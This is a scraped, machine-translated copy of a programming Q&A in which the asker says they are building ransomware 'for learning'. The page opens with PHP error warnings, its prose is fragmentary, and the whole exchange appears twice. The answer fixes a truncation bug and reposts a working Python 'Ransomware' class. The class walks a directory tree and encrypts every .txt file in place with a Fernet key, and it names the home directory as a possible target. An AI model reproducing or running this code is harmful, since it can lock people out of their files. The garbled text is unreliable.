Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/294.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python cryptography.fernet文件解密_Python_Cryptography_Fernet - Fatal编程技术网

Python cryptography.fernet文件解密

Python cryptography.fernet文件解密,python,cryptography,fernet,Python,Cryptography,Fernet,我正在为学习制作勒索软件 所以我复制、粘贴和编辑它,就像 但当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。如何解决此问题 比如: 到 使用此密钥文件: aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM= 问题是先加密,然后解密。您的加密和解密功能工作正常问题是,您始终寻求在文件开头写入任何更改。如果明文和密文的大小相同(无填充),则加密和解密可以正常工作但会将解密后的明文放在文件开头,与密文大小不同,而文件的其余部分保持不变,所以需要截

我正在为学习制作勒索软件

所以我复制、粘贴和编辑它,就像 但当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。如何解决此问题

比如:

使用此密钥文件:

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

问题是先加密,然后解密。您的加密和解密功能工作正常问题是,您始终寻求在文件开头写入任何更改。如果明文和密文的大小相同(无填充),则加密和解密可以正常工作但会将解密后的明文放在文件开头,与密文大小不同,而文件的其余部分保持不变,所以需要截断密文的其余部分

import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

您是否编辑了脚本或使用了提供的脚本?我创建了一个名为encrypt()和decrypt()的函数,并调用了@depris,因此请使用这些函数编辑您的问题,特别是
encrypt
function@KhaledGaber固定问题
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()